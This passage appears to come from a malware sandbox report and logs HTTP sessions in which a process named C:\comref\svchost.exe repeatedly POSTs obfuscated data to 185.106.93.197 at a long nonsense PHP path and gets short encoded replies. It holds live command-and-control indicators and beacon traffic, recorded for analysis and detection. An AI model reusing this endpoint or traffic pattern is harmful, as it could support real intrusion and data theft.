                                                                      Data Ascii: ^P[^][YZ[WZYRXTPT]^^WQZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!D/*[>; ] (Y1+!,.]&R4;,[$,5(*>!+"Y %X!3
                                                                      Aug 28, 2024 11:18:04.614253044 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:04.748740911 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:04 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      47192.168.2.760152185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:04.877679110 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:05.222096920 CEST2504OUTData Raw: 5b 57 5e 5b 5d 50 59 5a 5b 57 5a 59 52 5c 54 5d 54 5f 5e 5c 57 54 5a 54 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [W^[]PYZ[WZYR\T]T_^\WTZT\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",2&?( <1$!8V:.P#&<(*X#<&+)"Y %X!
                                                                      Aug 28, 2024 11:18:05.560600042 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:05.689271927 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:05 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      48192.168.2.760153185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:05.817820072 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:06.175153971 CEST2512OUTData Raw: 5b 53 5e 55 58 5d 59 56 5b 57 5a 59 52 54 54 54 54 59 5e 58 57 52 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [S^UX]YV[WZYRTTTTY^XWRZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!E.2*?478^&*?!+:4;$Z'?!?)6!_<"Y %X!
                                                                      Aug 28, 2024 11:18:07.540468931 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:07.540651083 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:06 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P
                                                                      Aug 28, 2024 11:18:07.540661097 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:06 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P
                                                                      Aug 28, 2024 11:18:07.540745974 CEST232INHTTP/1.1 100 Continue
                                                                      Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 38 20 41 75 67 20 32 30 32 34 20 30 39 3a 31 38 3a 30 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a 3f 52 5d 50
                                                                      Data Ascii: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 09:18:06 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 4Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8?R]P
                                                                      Aug 28, 2024 11:18:07.540940046 CEST232INHTTP/1.1 100 Continue
                                                                      Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 38 20 41 75 67 20 32 30 32 34 20 30 39 3a 31 38 3a 30 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a 3f 52 5d 50
                                                                      Data Ascii: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 09:18:06 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 4Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      49192.168.2.760154185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:07.660233974 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:08.018995047 CEST2512OUTData Raw: 5b 54 5e 5c 5d 5f 5c 50 5b 57 5a 59 52 59 54 55 54 50 5e 52 57 55 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [T^\]_\P[WZYRYTUTP^RWUZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!C.":<(,#.&#!;<W:#^ $,=+:="<%_("Y %X!7
                                                                      Aug 28, 2024 11:18:08.342097044 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:08.475284100 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:08 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      50192.168.2.760155185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:08.597666025 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      51192.168.2.760156185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:08.745839119 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1832
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:09.097069979 CEST1832OUTData Raw: 5b 54 5e 5c 58 5f 59 52 5b 57 5a 59 52 5c 54 5d 54 5e 5e 5c 57 55 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [T^\X_YR[WZYR\T]T^^\WUZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!D/1:\(^? _17 8',;:W 8,$/!*):"Z=_("Y %X!
                                                                      Aug 28, 2024 11:18:09.370074034 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:09.506398916 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:09 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 17 21 3e 30 0e 25 0d 30 58 2f 3b 31 0c 2a 3c 20 1d 2a 1c 30 5d 27 3e 05 0e 27 3b 27 09 33 16 05 08 27 0b 21 5e 24 3e 2f 51 32 1c 2d 5f 06 11 26 1a 37 5e 35 16 38 22 2b 0b 29 5b 23 03 36 00 23 1e 2a 1d 36 0c 21 00 2c 06 29 02 2a 13 2f 0f 26 0f 28 39 3e 19 3b 3d 2b 08 32 10 21 52 0c 17 22 50 3c 29 3c 58 37 01 3d 0b 33 1c 2b 56 34 3f 32 09 27 01 0a 0f 33 2a 3b 0c 3f 2b 23 0d 26 07 34 1c 32 15 21 5b 30 3c 37 52 3a 39 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $!>0%0X/;1*< *0]'>';'3'!^$>/Q2-_&7^58"+)[#6#*6!,)*/&(9>;=+2!R"P<)<X7=3+V4?2'3*;?+#&42![0<7R:9.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      52192.168.2.760157185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:08.865993977 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:09.255657911 CEST2504OUTData Raw: 5e 56 5b 59 5d 50 59 56 5b 57 5a 59 52 5c 54 52 54 5b 5e 53 57 53 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^V[Y]PYV[WZYR\TRT[^SWSZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!D;.?$#>'*4!($W.8>Q#^;',!(*"")]<"Y %X!;
                                                                      Aug 28, 2024 11:18:09.519016981 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:09.650105953 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:09 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      53192.168.2.760158185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:09.770948887 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:18:10.128451109 CEST2504OUTData Raw: 5b 5a 5b 5c 58 5a 59 57 5b 57 5a 59 52 5c 54 52 54 59 5e 5c 57 56 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Z[\XZYW[WZYR\TRTY^\WVZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,++<] =<%^"8$U9(>Q +?&?-<9X!<?)"Y %X!;
                                                                      Aug 28, 2024 11:18:10.159439087 CEST1236OUTData Raw: 3c 06 0d 2d 3b 3f 01 5e 02 3f 2d 09 39 0f 37 3a 0c 3e 12 11 3f 0b 0a 5c 35 00 17 3c 2a 30 37 00 06 0b 1d 1d 3e 58 05 2d 0c 29 01 23 30 29 2c 3b 08 3e 00 1c 3c 03 24 27 3d 09 3e 1d 01 2f 18 11 38 16 08 23 3b 0c 2f 35 05 2f 23 21 3a 04 1e 33 29 57
                                                                      Data Ascii: <-;?^?-97:>?\5<*07>X-)#0),;><$'=>/8#;/5/#!:3)W6Z</&,"7;Z5>Y-3\,0(/\:!$$##835?-+U=9H3<=<&3 +["%0.'=.,)/>:^06V5:9$,7";9<?&&3215"4#'X?>>38(?(8;:?;5/3
                                                                      Aug 28, 2024 11:18:10.397198915 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:10.528775930 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:10 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      54192.168.2.760159185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:10.662492990 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:18:11.019095898 CEST2512OUTData Raw: 5b 5a 5e 54 5d 5b 59 54 5b 57 5a 59 52 5e 54 51 54 51 5e 5c 57 56 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Z^T][YT[WZYR^TQTQ^\WVZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!A,2.[>8#-;%)# 8 .(:7;,X$Z.+9",9("Y %X!+
                                                                      Aug 28, 2024 11:18:11.326262951 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:11.456501961 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:11 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      55192.168.2.760160185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:11.582948923 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:11.942972898 CEST2512OUTData Raw: 5b 52 5e 55 5d 51 5c 50 5b 57 5a 59 52 59 54 52 54 50 5e 5b 57 55 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [R^U]Q\P[WZYRYTRTP^[WUZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!@;""^?#7/%_(X +7-> (X0Z*[(:!!%("Y %X!7
                                                                      Aug 28, 2024 11:18:12.296425104 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:12.432235956 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:12 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      56192.168.2.760161185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:12.572359085 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:12.925386906 CEST2512OUTData Raw: 5b 50 5b 5c 58 5d 59 56 5b 57 5a 59 52 54 54 57 54 50 5e 58 57 50 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [P[\X]YV[WZYRTTWTP^XWPZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"/21<(4.<%:3"]$:!4( &<(.!2?)"Y %X!
                                                                      Aug 28, 2024 11:18:13.258934021 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:13.389291048 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:13 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      57192.168.2.760162185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:13.520277023 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:13.878422976 CEST2512OUTData Raw: 5b 5b 5b 58 58 5b 59 56 5b 57 5a 59 52 59 54 56 54 5f 5e 5f 57 52 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[[XX[YV[WZYRYTVT_^_WRZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!C,"<(\4.,&9 5+S.* 8<0%(>6?9Z<9"Y %X!7
                                                                      Aug 28, 2024 11:18:14.173808098 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:14.308365107 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:14 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      58192.168.2.760163185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:14.427395105 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      59192.168.2.760164185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
